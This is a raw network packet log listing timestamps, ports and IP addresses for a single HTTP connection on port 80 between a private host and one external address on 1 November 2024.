Nov 1, 2024 12:34:10.296814919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296818018 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296823025 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296834946 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296840906 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296847105 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296857119 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296890020 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296998024 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297005892 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297017097 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297051907 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297079086 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297146082 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297152996 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297193050 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297197104 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297200918 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297209024 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297225952 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297254086 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297257900 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297261953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297281027 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297288895 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297306061 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297322989 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297391891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297399044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297410965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297415972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297429085 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297440052 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297441006 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297447920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297454119 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297460079 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297461033 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297468901 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297481060 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297487974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297493935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297496080 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297507048 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297538042 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297553062 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297609091 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297630072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297636986 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297648907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297653913 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297657013 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297663927 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297674894 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297681093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297687054 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297688961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297697067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297703981 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297708988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297715902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297720909 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297723055 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297732115 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297745943 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297755003 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297771931 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297775984 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297786951 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297794104 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297799110 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297805071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297815084 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297821999 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297821999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297832012 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297837973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297844887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297849894 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297851086 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297858953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297864914 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297871113 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297878027 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297885895 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.297888994 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297905922 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.297923088 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298013926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298022032 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298032999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298038960 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298052073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298058987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298062086 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298070908 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298079014 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298079967 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298085928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298093081 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298099041 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298101902 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298105955 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298118114 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298124075 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298125029 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298130989 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298137903 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298145056 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298146009 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298152924 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298162937 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298182011 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298213005 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298234940 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298243046 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298255920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298263073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298274994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298280954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298285007 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298309088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298316002 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298333883 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298363924 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298432112 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298439980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298451900 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298459053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298465014 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298479080 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298485041 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.298485041 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.298511982 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330456972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330465078 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330478907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330534935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330539942 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330552101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330558062 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330605984 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330604076 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330614090 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330624104 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330632925 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330645084 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330668926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330681086 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330739975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330746889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330760002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330764055 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330787897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330787897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330787897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330787897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330787897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330840111 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330887079 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330894947 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330907106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330913067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330919981 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330931902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330938101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330944061 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330945015 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330955029 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330965042 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330972910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.330976009 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.330979109 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331001043 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331005096 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331007004 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331021070 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331028938 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331058025 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331082106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331089020 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331104040 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331132889 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331135035 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331146002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331155062 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331167936 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331173897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331181049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331182003 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331207991 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331219912 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331260920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331268072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331280947 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331286907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331295013 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331350088 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331350088 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331410885 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331418991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331430912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331437111 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331443071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331450939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331461906 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331465960 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331478119 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331494093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331501007 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331511021 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331515074 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331521034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331533909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331537008 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331557035 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331574917 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331578970 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331587076 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331598997 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331634998 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331713915 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331722021 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331727982 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331767082 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331861973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331868887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331882000 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331919909 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.331934929 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331943035 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331954002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.331990957 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332223892 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332231045 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332242966 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332276106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332278013 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332283020 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332289934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332298040 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332314968 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332334995 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332439899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332480907 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332484961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332490921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332504034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332535028 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332547903 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332566023 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332571983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332583904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332591057 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332601070 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332607985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332612038 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332631111 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332647085 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332654953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332663059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332665920 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332681894 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332690954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332700968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332705975 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332710028 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332736015 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332768917 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332814932 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332820892 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332828045 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332840919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332845926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332885027 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.332971096 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332977057 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332990885 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.332998991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333010912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333018064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333022118 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333043098 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333044052 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333053112 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333059072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333065987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333067894 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333087921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333095074 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333096027 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333107948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333113909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333127975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333127975 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333136082 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333148956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333153963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333158016 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333188057 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333252907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333259106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333270073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333276987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333281040 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333306074 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333354950 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333483934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333492041 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333503008 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333508968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333520889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333525896 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333527088 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333532095 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333547115 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333553076 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333558083 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333559990 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.333576918 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333597898 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.333623886 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.334372997 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.334446907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.334469080 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.334480047 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.369997025 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370003939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370019913 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370026112 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370032072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370038986 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370050907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370058060 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370070934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370076895 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370086908 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370093107 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370100975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.370114088 CET	80	49972	185.215.113.16	192.168.2.7
